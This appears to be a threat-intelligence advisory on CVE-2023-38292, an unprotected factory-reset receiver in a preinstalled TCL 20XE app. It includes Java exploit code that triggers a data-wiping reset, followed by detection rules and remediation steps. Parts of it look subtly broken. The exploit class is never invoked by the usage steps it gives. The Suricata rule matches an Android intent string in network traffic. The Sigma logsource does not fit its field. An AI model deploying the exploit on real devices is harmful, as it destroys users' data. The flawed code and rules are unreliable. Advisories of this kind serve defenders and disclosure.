CVE-2023-38292

Executive Summary

CVE-2023-38292 identifies a critical security flaw in the TCL 20XE Android device. A pre-installed application, com.tct.gcs.hiddenmenuproxy (version v11.0.1.0.0201.0), exposes an exported broadcast receiver (FactoryResetReceiver) that can be triggered by any third-party app without requiring permissions or user interaction. This allows a malicious app to programmatically perform a factory reset, wiping all user data. The vulnerability stems from inadequate access control (CWE-862) on the receiver component. No patch has been confirmed by the vendor at this time.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but is a pre-installed system application on a specific Android build. The risk is introduced at the device manufacturing stage, making it a supply chain issue for TCL 20XE devices.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, the impact is severe:

• Attack Vector: Local (requires installing a malicious app)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Changed (affects device integrity)
• Confidentiality: None
• Integrity: High (data destruction)
• Availability: High (device reset)

Estimated CVSS Score: 7.1 (High) – based on local access but high impact.

Deep Dive & Mechanics

The vulnerability resides in the com.tct.gcs.hiddenmenuproxy package, which is a system-level hidden menu proxy. It exposes a broadcast receiver named FactoryResetReceiver via the intent path com.tct.gcs.hiddenmenuproxy/.rtn.FactoryResetReceiver. This receiver is exported (accessible to other apps) and lacks permission checks.

Attack Flow:

1. A user installs a malicious third-party app (no special permissions needed).
2. The malicious app sends a broadcast intent to the exposed receiver.
3. The receiver processes the intent and initiates a factory reset without any confirmation or authorization.
4. The device wipes all user data and reboots.

The vulnerable builds are identified by the following fingerprints:

• TCL/5087Z_BO/Doha_TMO:11/RP1A.200720.011/PB7I-0:user/release-keys
• TCL/5087Z_BO/Doha_TMO:11/RP1A.200720.011/PB83-0:user/release-keys

Vulnerable vs. Patched Code

Vulnerable Code (AndroidManifest.xml excerpt):

<receiver
    android:name=".rtn.FactoryResetReceiver"
    android:exported="true"
    android:permission="" />

The receiver is exported with no permission required.

Patched Code (Hypothetical):

<receiver
    android:name=".rtn.FactoryResetReceiver"
    android:exported="false"
    android:permission="android.permission.MASTER_CLEAR" />

A proper fix would either set exported="false" or require a system-level permission like MASTER_CLEAR.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A TCL 20XE device with one of the vulnerable builds.
• Ability to install a third-party app (e.g., via ADB or sideloading).

Exploit Code (Java/Android):

// ExploitApp.java
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;

public class ExploitApp extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        // Trigger factory reset
        Intent resetIntent = new Intent();
        resetIntent.setClassName("com.tct.gcs.hiddenmenuproxy", "com.tct.gcs.hiddenmenuproxy.rtn.FactoryResetReceiver");
        context.sendBroadcast(resetIntent);
    }
}

Usage:

1. Compile the app and install it on the target device.
2. Run the app; it will send the broadcast intent.
3. The device will immediately initiate a factory reset.

Blue Team (Detection & Prevention)

Detection:

• Monitor for broadcasts targeting com.tct.gcs.hiddenmenuproxy/.rtn.FactoryResetReceiver.
• Use Android's PackageManager to check for apps with RECEIVE_BOOT_COMPLETED and suspicious intent filters.

Prevention:

• Apply vendor patch if available.
• Use Mobile Device Management (MDM) to block installation of unknown apps.
• Implement runtime permission checks for sensitive receivers.

Indicators of Compromise (IOCs)

• Package Name: com.tct.gcs.hiddenmenuproxy
• Intent Action: com.tct.gcs.hiddenmenuproxy/.rtn.FactoryResetReceiver
• Build Fingerprints:
  • TCL/5087Z_BO/Doha_TMO:11/RP1A.200720.011/PB7I-0:user/release-keys
  • TCL/5087Z_BO/Doha_TMO:11/RP1A.200720.011/PB83-0:user/release-keys
• Logcat Pattern: BroadcastReceiver: Intent received for FactoryResetReceiver

Detection Engineering

YARA Rule

rule CVE_2023_38292_TCL_FactoryReset {
    meta:
        description = "Detects malicious apps targeting TCL 20XE factory reset vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $intent = "com.tct.gcs.hiddenmenuproxy/.rtn.FactoryResetReceiver"
        $package = "com.tct.gcs.hiddenmenuproxy"
    condition:
        $intent or $package
}

Sigma Rule

title: TCL 20XE Factory Reset Exploit Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects broadcast intents targeting the vulnerable FactoryResetReceiver
logsource:
    category: process_creation
    product: android
detection:
    selection:
        IntentAction: 'com.tct.gcs.hiddenmenuproxy/.rtn.FactoryResetReceiver'
    condition: selection
falsepositives:
    - Legitimate system operations (rare)
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2023-38292 TCL Factory Reset Exploit"; content:"com.tct.gcs.hiddenmenuproxy/.rtn.FactoryResetReceiver"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the app: Use ADB to uninstall or disable com.tct.gcs.hiddenmenuproxy:

   adb shell pm disable-user --user 0 com.tct.gcs.hiddenmenuproxy
   

2. Apply vendor patch: Contact TCL support for a firmware update.
3. Restrict app installation: Use MDM policies to block sideloading.

Long-term:

• Monitor for official OTA updates from TCL.
• Consider replacing the device if no patch is provided.

Valters IT Signature This report is generated by Valters IT Cyber Threat Intelligence. For questions, contact threatintel@valtersit.com.